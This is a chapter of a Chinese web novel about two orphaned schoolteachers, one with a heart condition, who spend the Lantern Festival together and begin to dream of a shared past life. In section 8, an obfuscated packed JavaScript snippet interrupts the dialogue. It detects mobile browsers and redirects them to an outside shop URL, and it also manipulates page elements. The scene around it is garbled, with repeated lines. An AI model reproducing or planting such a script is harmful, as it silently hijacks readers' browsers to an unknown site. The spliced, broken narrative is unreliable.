一
慕坪中学的教职工宿舍在老校区后面，两栋五层的灰楼，中间夹着一棵上了年纪的槐树。树龄比两栋楼加起来都老，据说是建校时从别处移栽过来的，算起来快一百年了。
正月十五这天傍晚，廖振山站在窗前，看见逄寒林从槐树底下走过。
暮色四合，路灯还没亮，逄寒林穿着一件灰扑扑的羽绒服，手里拎着一个塑料袋，里面装着什么圆滚滚的东西。他走路不快，低着头，像是想心事，又像是在躲风。
廖振山看了他几秒钟，转身下楼。
他在二楼楼梯口站定，等逄寒林进来。
脚步声一下一下的，有点重。廖振山知道他最近心脏又不舒服，但从来不说。
门开了，逄寒林看见他，愣了一下。
“你怎么知道我在这？”
“不知道。”廖振山说，“就是觉得你应该来了。”
逄寒林板着脸抬头看他，眉眼间萦绕着些许戾气。他把塑料袋往前一递：“元宵。黑芝麻的。”
“你买的？”
“我煮的。”逄寒林换鞋，“生的我能拎着走一路？”
廖振山低头看袋子里的保温盒，没说话。
厨房里烧着水。逄寒林把元宵倒进锅里加热，用勺子轻轻推了推，防止粘锅。廖振山靠在门框上看着他。
“看什么？”
“看你。”廖振山说，“你煮元宵的样子不像第一次。”
逄寒林没回头：“就是第一次。”
“那可能是上辈子煮过，没忘干净？”
逄寒林笑了一声。他笑起来的时候，脸上那股凶劲儿就散了，眉眼都软下来。孤儿院的阿姨们都说这孩子看着吓人，其实比谁都好说话。倒是廖振山，白白净净的，笑起来也好看，但心里想什么谁也猜不透。
他们同一年被送到孤儿院，同一年考上师范，同一年分到这所学校。认识近二十年了。
“差不多了。”逄寒林说。
廖振山走过去，站在他旁边，两个人一起看着锅里的元宵翻滚。窗玻璃上蒙着雾气，把外面的暮色遮成一片模糊的灰白。
“今天席老师问我要不要一起去市里看灯。”逄寒林忽然说。
“谁？”
“教音乐的，席悯春。”逄寒林用勺子搅了搅，“坐我办公室对面那个，你见过的。”
廖振山想了想：“戴金丝眼镜那个？”
“对。据说家里挺有钱的。”
“你怎么说的？”
“我说约了人。”
“约了谁？”
逄寒林看他一眼：“你。”
廖振山没说话。
“她还说她弟弟今天也回来，那个私生子。”逄寒林把元宵全捞出来了，一边端着盘子向餐桌走，一边说，“叫什么秋。哦，席鸿秋。”
廖振山的手顿了一下。
“怎么了？”
“没什么。”廖振山说，“这名字好像在哪儿听过。”
“书上吧。小说里。”
“也许吧。”
二
元宵端上桌，两个人面对面坐着。
窗外有人在放烟花，嘭嘭的响，光透过玻璃一闪一闪的，在墙上投下红红绿绿的影子。逄寒林吃了一个，放下勺子。
“不好吃？”
“烫。”逄寒林说，“等会儿。”
廖振山看了他一眼，低头吃自己的。他吃东西很慢，一口一口的，像是在数数。
“你刚才说的那个席老师，”廖振山忽然开口，“她跟你说她弟弟的事干什么？”
逄寒林想了想：“可能是想找个话题？同事之间总要搞好关系，毕竟低头不见抬头见的。”
“就不能是人家对你有意思？”
“怎么可能。”逄寒林用勺子戳了戳碗里的元宵，“她又不是不知道我有心脏病。哪有对短命鬼有意思的。”
廖振山的勺子停在半空。
“你胡说什么。”
“我没胡说。”逄寒林笑笑，那笑容很短，像是给自己看的，“医生说能活到四十就算赚了。我今年二十六，还有十四年。十四年，够干什么？”
廖振山把勺子放下。
“够过十四个元宵节。”他说。
逄寒林愣了一下，然后笑了。
“廖老师，你是数学老师，不是语文老师。这话说得不对。”
“哪里不对？”
“够过十四个元宵节，”逄寒林掰着手指，“今年一个，明年一个，后年一个……十四个。可我不想只过十四个。”
廖振山看着他。
“那你就好好活着。”他说，“活到无数个。”
“好啊。”逄寒林欣然应允。
空气沉默了会儿。
“以后别乱说话了。这事传出去，对席老师影响不好的。”他再次张口。
三
吃完饭，廖振山去洗碗，逄寒林坐在沙发上。
这间屋子不大，一室一厅，厨房和客厅打通了，站在厨房能看见客厅的全貌。廖振山一边洗碗一边用余光瞟着沙发那边。逄寒林靠在沙发上，手按着胸口，眼睛看着天花板。
那个动作廖振山太熟悉了。
他把碗放进沥水架，擦了擦手，走过去。
“又疼了？”
“没事。”逄寒林把手放下来，“老毛病。”
廖振山在他旁边坐下。
“你今天不该吃元宵。”
“元宵怎么了？”
“糯米不好消化。你吃多了容易难受。”
逄寒林笑了：“廖老师，我怎么记得你是数学老师，什么时候转行当营养师去了？”
“我查过。”廖振山说，“你的病，我查过很多资料。”
逄寒林的笑收了收。
“你查这个干什么？”
廖振山没回答。
窗外又是一阵烟花响，嘭嘭嘭的，像是有人在放连珠炮。逄寒林偏头看了看窗外，光一闪一闪地映在他脸上。
“振山，”他忽然说，“你说咱俩上辈子认识吗？”
廖振山转过头看他。
“怎么突然问这个？”
“不知道。”逄寒林说，“有时候看见你，就觉得好像认识很久了。比二十年还久。那种感觉……不是熟悉，是别的什么。说不上来。”
廖振山沉默了一会儿。
“也许吧。”
“那你说上辈子咱俩是什么关系？”
廖振山想了想：“你是我学生。”
“滚着。”
“或者我是你学生。”
“那还差不多。”
两个人都笑了。
笑着笑着，逄寒林忽然捂住胸口，眉头又皱起来。
廖振山的笑立刻收了。
“药呢？”
“在口袋里。”
廖振山伸手去他羽绒服口袋摸，摸出一个白色的小药瓶。他拧开盖子，倒出两粒，又去倒水。
逄寒林接过水杯，把药吞下去，靠在沙发上喘气。
廖振山坐在旁边，没说话。
过了一会儿，逄寒林说：“吓着你了？”
“没有。”
“骗人。你脸都白了。”
廖振山没理他。
逄寒林侧过头看他。灯光下，廖振山那张脸确实比刚才白了些，嘴唇抿成一条线，眼睛盯着地板，不知道在想什么。
“振山。”
“嗯。”
“我真没事。”
廖振山抬起头，看着他。
“我知道。”他说，“但我没办法。”
四
烟花渐渐停了。
九点多的时候，有人敲廖振山的门。
两个人对视一眼。逄寒林住三楼，廖振山住四楼，一般没人来敲他的门。
廖振山走过去开门。
门外站着一个年轻男人，二十七八岁，穿着深灰色的大衣，头发梳得很整齐，一看就是那种在大公司里待着的人。他的眼睛很亮，但看人的时候带着一点审视，像是在打量什么。
“请问找谁？”
“廖振山老师？”那人笑了笑，“我是薄野明，玄晖集团的行政总监。沈总让我来送点东西。”
廖振山愣了一下：“沈总？”
“沈烬。玄晖集团的总裁。”薄野明递过一个纸袋，“他说今天是元宵节，让我给慕坪中学的几位老师送点节礼。您是其中之一。”
廖振山接过纸袋，低头看了一眼。里面是一盒包装精美的月饼——不对，元宵节送月饼？他抬起头。
薄野明笑了笑：“这是沈总的意思。他说礼多人不怪，月饼元宵，都是圆的，差不多。”
廖振山没说话，表情却是一言难尽的。
逄寒林从里面走出来，站在廖振山身后。
薄野明看见他，眼睛动了动，似乎想说什么，但最后只是点点头：“逄老师也在？那正好。您的礼在车里，我这就去拿。”
逄寒林说：“不用了，我俩吃一盒就够了。”
薄野明看了看他们两个，笑了笑：“行，那我就不打扰了。祝二位元宵快乐。”
他转身下楼，皮鞋踩在水泥台阶上，哒哒哒的，很稳。
廖振山关上门，和逄寒林对视一眼。
“玄晖集团？”逄寒林说，“干什么的？”
“不知道。”廖振山把纸袋放在桌上，“沈烬……这名字好像在哪儿听过。”
“新闻里？慕坪市的富豪榜？”
“也许吧。”
逄寒林打开纸袋，把里面的盒子拿出来。包装很精致，烫金的字，写着“花好月圆”。他打开盒子，里面整整齐齐摆着八个月饼。
“真是月饼。”他笑了，“这沈总是个妙人。元宵节送月饼。”
廖振山站在旁边，没笑。
“怎么了？”
“没什么。”廖振山说，“就是觉得……这个沈烬，他怎么知道我们？”
“也许是学校跟企业有合作？”
“没听说。”
逄寒林想了想，把盒子盖上。
“管他呢，反正没坏事。”他看了看墙上的钟，“不早了，我该走了。”
廖振山说：“我送你。”
“不用，就楼下。”
“我送你。”
五
两个人下楼，走到槐树底下。
月亮很圆，挂在槐树光秃秃的枝桠中间，照得地上亮堂堂的。逄寒林的影子拉得很长，廖振山的影子挨在旁边。
“药带了吗？”
“带了。”
“明天别来给我送早饭了，多睡会儿。”
“知道了。”
“路上慢点。”
“嗯。”
逄寒林走了两步，又停下来。
“振山。”
“嗯？”
“今晚那个叫薄野什么的，”逄寒林说，“你看他的眼神，有没有觉得……怪怪的？”
廖振山想了想：“哪种怪？”
“说不上来。”逄寒林皱着眉头，“他看我的时候，像是认识我。但又不像认识。就是那种……很复杂的眼神。”
廖振山没说话。
“算了，可能我想多了。”逄寒林笑了笑，“走了，明天见。”
他转身往三号楼走去。廖振山站在槐树底下，看着他的背影。
走了几步，逄寒林忽然又停下来，回过头。
“振山！”
“嗯？”
“元宵节快乐！”
廖振山在月光下站着，看着他。
“同乐。”
逄寒林笑着挥挥手，消失在楼道口。
廖振山站了很久。
风吹过来，槐树的枝桠晃了晃。他抬起头，看着月亮。
很圆。很亮。
他忽然想起一句话，不知道在哪看过，也不知道为什么这时候想起来——
人间别久不成悲。
他不太懂这句话的意思。
六
第二天一早，逄寒林还是来送早饭了。
廖振山开门的时候，他拎着两个包子站在门口，胸口那点隐隐的疼还在，但他没说。
廖振山也没问。
他们坐在桌边吃早饭，窗外的天灰蒙蒙的，像是要下雪。
“昨晚那个人，”逄寒林咬了一口包子，“我后来想了想，觉得他可能是认错人了。”
“为什么？”
“他看我的眼神，像是在找什么人。但没找到，所以走了。”
廖振山喝了一口豆浆。
“也许。”
“还有那个沈烬，”逄寒林说，“我总觉得这个名字熟悉。不是那种听说过的熟悉——给我一种我应该认识他的感觉。”
廖振山看他一眼。
“想不起来就别想了。”
“嗯。”逄寒林把包子吃完，擦了擦手，“今天高一学生返校，我得去开个会。中午一起吃饭？”
“好。”
逄寒林站起来，走到门口，又停下来。
“振山。”
“嗯？”
“你说，这世上会不会有人记得上辈子的事？”
廖振山愣了一下。
“怎么突然问这个？”
“不知道。”逄寒林说，“昨晚做梦，梦见一些很奇怪的东西。有个人，穿着一件灰扑扑的长衫，站在一棵槐树底下。我看不清他的脸，但我知道他在等我。”
廖振山没说话，于是他继续说。
“我醒来就想，那人是不是你。”
廖振山站起来，走到他面前。
“你想多了。”他说。
“嗯。”逄寒林笑了笑，“梦不能信。”
他推开门，走了。
廖振山站在门口，看着那扇门关上。
他想，他昨晚也做了一个梦。
梦里也有一个人，也穿着一件灰扑扑的长衫，站在一棵槐树底下。他看不清那个人的脸，但那个人回过头来，对他笑了笑。
那个笑容让他心里疼了一下。
他醒来的时候，枕头是湿的。
他不知道为什么。
七
中午，两个人在学校食堂吃饭。
食堂里人不多，高一的学生返校报到，老师们都忙着开会，吃饭的时候也是匆匆忙忙的。逄寒林和廖振山找了个角落坐下，一人一份红烧肉套餐。
“下午没事了吧？”廖振山问。
“还有一节班会。”逄寒林扒拉着饭，“完了就没事了。你呢？”
“教研组开会，四点半结束。”
“那晚上一起吃饭？”
“行。”
正说着，一个穿红色羽绒服的女人端着餐盘走过来，在他们旁边坐下。
“逄老师，廖老师，真巧啊。”
逄寒林抬头，是席悯春。她今天没戴那个平面眼睛，黑色的长发披着，看起来温婉不少。
“席老师。”逄寒林点点头。
席悯春笑了笑，目光扫过他们，落在外面的窗子上。
“今天天气不太好，可能要下雪。”
“嗯。”逄寒林应了一声。
“对了，我弟弟今天也来学校了，说要参观一下。待会儿可能会来找我，你们要是看见了，别惊讶。”
“你弟弟？”廖振山问。
“席鸿秋。”席悯春说，“席家那个……嗯，你们懂的。”
私生子。廖振山在心里补上。
“他多大了？”逄寒林问。
“十七。说是要转来这里上学。”席悯春说，“他比我小不少。我妈走得早，他是我爸后来……反正挺复杂的。”
逄寒林点点头，没再问。
吃完饭，三个人一起往外走。刚出食堂门口，就看见一个年轻男人站在槐树底下。
那人穿着黑色的羽绒服，个子很高，眉眼间有一种说不出的……锋利。他看见席悯春，笑了笑，那笑容却让人不太舒服。
“姐。”
“鸿秋。”席悯春走过去，“等多久了？”
“刚到。”
席鸿秋的目光越过她，落在逄寒林和廖振山身上。
“这两位是？”
“我们学校的老师，逄寒林逄老师，廖振山廖老师。”席悯春介绍，“这是我弟弟，席鸿秋。”
逄寒林点点头。廖振山也点点头。
席鸿秋看着他们，目光在逄寒林脸上停了一秒，然后移开。
“逄老师，”他说，“您贵姓逄？”
“嗯。‘宴坐鸣天鼓，和声听逄逄。’的逄。”
“好姓。”席鸿秋笑了笑，“很少见。”
“是。”
没再多说，姐弟俩走了。
逄寒林和廖振山站在原地，看着他们的背影。
“这个人，”逄寒林说，“也怪怪的。”
“哪里怪？”
“说不上来。”逄寒林皱着眉头，“他给我的感觉不像个高中生。”
廖振山没说话。
他看着席鸿秋的背影，忽然觉得有点眼熟。
好像在什么地方见过。
很久很久以前。
应该是记错了。
八
晚上，逄寒林在廖振山家吃的饭。
廖振山做饭，逄寒林打下手。两个人挤在小小的厨房里，一个切菜，一个洗菜，锅里的油滋滋响着，烟火气把窗户蒙上一层白雾。
“我总觉得，”廖振山忽然开口，“席老师的那个弟弟很眼熟。”
“有点。”逄寒林把切好的土豆递给他，“但想不起来在哪见过。”
廖振山没说话，把土豆倒进锅里。
锅里的土豆丝翻炒着，滋滋的响。
“振山。”
“嗯？”
“你说，这世上有没有那种人，”逄寒林顿了顿，“就是明明第一次见，但觉得认识很久了？”
廖振山看着他。
“有。”他说。
逄寒林愣了一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420257|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“谁？”
廖振山没回答，把火关小，转过身看着他。
“你。”他说。
逄寒林看着他，半天没说话。
厨房里全是烟火气。
“振山。”
“嗯。”
“你是不是……”逄寒林顿了顿，“算了，没什么。”
廖振山把火关小，转过身看着他。
“你想说什么？”
逄寒林看着他的眼睛。那双眼睛很黑，很静，像两潭深水。他看了二十年了，从来没看透过。
逄寒林没回答。
他把目光移开，看着锅里的菜。
“吃饭吧。”他说。
九
吃完饭，两个人坐在沙发上看电视。
电视里在放元宵晚会的重播，一群人在台上又唱又跳，热热闹闹的。逄寒林靠在沙发上，手搭在胸口，有一搭没一搭地看着。
廖振山坐在旁边，也在看，但目光时不时往旁边瞟一下。
“振山。”
“嗯。”
“咱俩老了以后，”逄寒林说，“会不会还住在一起？”
廖振山看了他一眼。
“你想住就住，交房费就行。”
“你怎么就知道是你的房子。”
“就你那身子能攒下什么钱。”廖振山翻了个半眼。
“哦。”逄寒林没呛他。“那你做饭。”
“你刷碗。”
“行。”
两个人都没再说话。
窗外又有人在放烟花，远远的，嘭嘭的声音传过来。逄寒林偏头看着窗外，光一闪一闪地映在他脸上。
“振山。”
“嗯。”
“我想跟你说个事。”
“说。”
逄寒林沉默了一会儿。
“这辈子能认识你，”他说，“我觉得挺好的。”
廖振山看着他。
“在孤儿院的时候，我一个人都不认识，谁也不跟我玩，因为我长得凶。”逄寒林笑了笑，“只有你，主动过来跟我说话。你还记得吗？”
“记得。”
“那时候我也是真蠢，没看出你的真面目。你抢人家东西，欺负人，总让我帮你背锅。现在想想，真该跟你要一笔赔偿费。”
廖振山挑眉。
“二十年了。”逄寒林说，“二十年，够长了。够本了。”
廖振山的手攥紧了沙发垫。
“你又来了。”
“抒个情。”逄寒林眨眨眼睛，“今天书看多了。”
廖振山探头去看，案上摆着一本《全宋词》。翻开那页印着姜夔的一首《鹧鸪天》。
十
正月十六的早上，逄寒林醒来的时候，胸口疼得厉害。
他没告诉廖振山，照常去上课。语文课，讲的是辛弃疾的《青玉案·元夕》。
“东风夜放花千树，更吹落、星如雨……”
逄寒林站在讲台上，看着下面一张张年轻的脸。他们听得认真，有人在记笔记，有人在偷偷看小说。他顿了顿，继续讲。
“众里寻他千百度，蓦然回首，那人却在，灯火阑珊处。”
他忽然想起昨晚廖振山说的话。
“无数个。”
他笑了笑。
下课铃响，他收拾好教案，走出教室。
走廊里有人在说话。他走过去，看见席悯春和席鸿秋站在窗边，不知在聊什么。席鸿秋看见他，点了点头。
“逄老师，下课了？”
“嗯。”
逄寒林走过去，忽然觉得胸口一阵发紧。他停下脚步，扶着墙。
席鸿秋看见了，走过来。
“逄老师？您没事吧？”
“没事。”逄寒林笑了笑，“老毛病。”
席鸿秋看着他，目光里有一种奇怪的东西。
“您这病……”他顿了顿，“多久了？”
“从小就有的。”逄寒林说，“先天性心脏病。”
席鸿秋没说话。
逄寒林缓了缓，站直身子。
“没事，我先走了。”
他往前走。走了几步，忽然听见席鸿秋在身后说：
“逄老师，保重。”
他回过头，看见席鸿秋站在窗边，阳光照在他脸上，那双眼睛很亮，像是藏着什么。
他脑海里突然浮现一个想法——昨天看的那首词，好像也叫“元夕”。
十一
中午，逄寒林没去吃饭。
他坐在办公室里，手按着胸口，等着那股疼慢慢过去。桌上的教案还摊着，他一个字都看不进去。
门被推开，廖振山走进来。
“怎么不去吃饭？”
“不饿。”
廖振山走过去，看着他。
“又疼了？”
“没事。”
廖振山没说话，拉过一把椅子在他旁边坐下。
两个人就这么坐着，谁也没说话。
窗外的阳光照进来，在地上投下一块一块的光斑。有学生从窗外走过，说话的声音隐隐约约传进来。
“振山。”
“嗯。”
“你说，真的有上辈子吗？”
廖振山看着他。
“怎么又想起这个？”
“不知道。”逄寒林说，“就是觉得，有些事好像发生过。有些人，好像认识过。”
廖振山沉默了一会儿。
“也许有。”
“那你相信吗？”
廖振山没回答。
他看着逄寒林，那张脸在阳光里有些苍白，但眼睛很亮。他看了二十年了，从来没看够过。
“我相信。”他说。
逄寒林愣了一下。
“你相信？”
“嗯。”
“为什么？”
廖振山看着他。
“因为如果没有上辈子，”他说，“这辈子就太短了。”
逄寒林看着他，慢慢地笑了。
“廖老师，你今天怎么这么文艺。”
“文艺吗？”廖振山说，“我说的是实话。”
逄寒林没接话。
窗外的阳光很亮，照在他们之间。
十二
那天晚上，逄寒林又做了那个梦。
梦里有一棵槐树，很大很大，枝叶遮天蔽日。槐树底下站着一个人，穿着灰扑扑的长衫，背对着他。
他走过去。
那个人慢慢转过身来。
他看清了那张脸。
是廖振山。
但又不是廖振山。那个人比他年长一些，脸上的线条更硬，眼睛里有他没见过的疲惫。
那个人看着他，笑了。
“君年。”
他愣住了。
“你叫我什么？”
那个人没回答，只是看着他，笑着开口。
“我等了你很久。”
逄寒林想说话，却发现自己开不了口。
“别怕。”他说，“我还会等。”
逄寒林醒来的时候，枕头是湿的。
他摸了摸胸口，那颗心脏跳得很稳，不疼了。
他躺了一会儿，看着天花板。
君年。
那个人叫他君年。
他不知道这个名字是什么意思，但他知道，他一定要告诉廖振山。
十三
正月十七的早上，逄寒林去找廖振山。
他敲门，没人应。他推门进去，屋里没人。
他坐在沙发上等。
等了很久，门开了。廖振山走进来，手里拎着早饭。
“你怎么来了？”
“有事跟你说。”
廖振山放下早饭，在他旁边坐下。
“说。”
逄寒林看着他。
“我昨晚做梦，梦见你了。”
廖振山愣了一下。
“梦见什么？”
“梦见你站在一棵槐树底下，穿着长衫，叫我‘君年’。”
廖振山的眼睛动了动。
“君年？”
“你知道这个名字？”
廖振山沉默了一会儿。
“我昨晚也做了一个梦。”他说。
“梦见什么？”
“梦见一个人，穿着长衫，站在槐树底下。”廖振山看着他，“他叫我‘司印’。”
逄寒林愣住了。
他们看着彼此，谁也没说话。
窗外的阳光照进来，很亮。
“振山。”
“嗯。”
“咱们是不是……”逄寒林顿了顿，“真的认识很久了？”
廖振山看着他。
“比二十年还久。”他说。
逄寒林笑了，脸上那股凶劲儿一窝蜂地跑开，不见了踪影。
于是廖振山也笑。
窗外的阳光很亮。
门口那棵老槐树的影子，透过窗户照进来，落在他们身上。